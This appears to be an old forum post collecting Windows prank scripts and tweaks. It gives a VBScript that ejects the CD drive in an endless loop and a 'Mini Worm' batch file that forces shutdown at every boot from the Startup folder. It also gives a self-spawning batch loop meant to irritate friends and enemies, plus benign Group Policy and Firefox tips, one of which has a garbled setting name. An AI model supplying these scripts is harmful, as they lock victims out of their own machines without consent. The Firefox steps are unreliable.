BEST: AutoCDRom open/close

This one is my BEST BEST and BEST find so far.
Its just a simple java script but its starts a loop thats keeping opening and closing your CD Drive.
Heres how it goes

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Save as .vbs and run it. Harmless but loads of fun. Just think what all you can do by adding it to startup. *evil*

source : www.orkut.com

Mini Worm 2: Automatic Shutdown

In notepad type:
shutdown -s -f -t 1

save as a .bat file.
Add it to startup(method explained below)

-s =shutdown
-r =restart
-t =time
-f =force close all programs
-l =log off
-c"message here" =displays messgae

Mini Worm : A More Devasting Method

I know the heading said devastating but its still safe.
Just make the MiniWorm as explained 2 posts below and then copy the file to the
C:\Documents and Settings\NEWUSER\Start Menu\Programs\Startup folder or wherever you can find your startup folder .
Now whenever you boot your computer the worm will run forcing you to restart again and again
(usualy its so fast that you cant even delete it).

Cure: How to remove the worm?

You cannot delete it since it starts pretty soon and hangs ur pc. Even if it lies directly on the desktop its hard to delete on time.
To remove it, boot up windows in Safe-Mode and search for the worm and delete it.

How to Enable Group Policy Editor

1. Click Start, and then click Run.
2. In the Open box, type mmc, and then click OK. mmc=Microsoft Management Console
3. On the File menu, click Add/Remove Snap-in.
4. Click Add.
5. Under Available Stand-alone Snap-ins, click Group Policy, and then click Add.
6. If you do not want to edit the Local Computer policy, click Browse to locate the group policy object that you want. Supply your user name and password if prompted, and then when you return to the Select Group Policy Object dialog box, click Finish. NOTE: You can use the Browse button to locate group policy objects linked to sites, domains, organizational units (OU), or computers. Use the default Group Policy Object (GPO) (Local Computer) to edit the settings on the local computer.
7. Click Close, and then in the Add/Remove Snap-in dialog box, click OK.

Close all the mmc windows and again start it from run. You can access the GPE now.

Source: www.microsoft.com

Mini Worm: Loop for fun

This program will create a unlimited loop which you can use to irritate your friends( and enemies)
In Notepad type:
start
worm.bat
worm.bat

Save the file as worm.bat . If you care to test it, its a harmless loop.You might have to restart your PC after you run this but.

Working
This bat file opens the file named worm.bat. Since you saved it as worm.bat, hence worm.bat will open another worm.bat and so on.

Faster FireFox

How to make Firefox much faster than it already is:
1) Open a copy of Firefox
2) Type about:config in the address bar and press Enter
3) Scroll down the list and locate network.http.max-connections-per-server
4) Right-click this setting and select Modify. Enter a higher value, such as 15, and press OK
5) Enable parallel downlads, which is known as pipelining in Firefox. Scroll further down the list and locate network.http.pipelining
6) Right-click this setting and select Toggle
7) Scroll down and modify network.http.pipelining.maxrequests. Set this to a value of at least 15 and press OK.(Note: If you are using a proxy server to connect to the Internet, you will also want to toggle network.http.proxy.pipelining)IF YOU HAVE A SLOW MACHINE, DO NOT DO 8 AND 9, IT CAN SLOW DOWN FIREFOX
8) Right-click anywhere on the configuration screen and select New and then Integer.
9) Enter nglauout.initialpaint.delay in the name box and then 0 in the value boxes that pop up
10) Close all instances of Firefox and restart.

Pipelining is the number of files you can download at once. I believe the standard is 2, but you can change the value to 20 and effectively you will load the page 10 times as quick.The paint delay is the mandatory delay before the display comes out and if your machine can handle an instant paint, then it is worth it.

CREDIT goes to DeMoNiCPaTaGiA from www.anthemro.com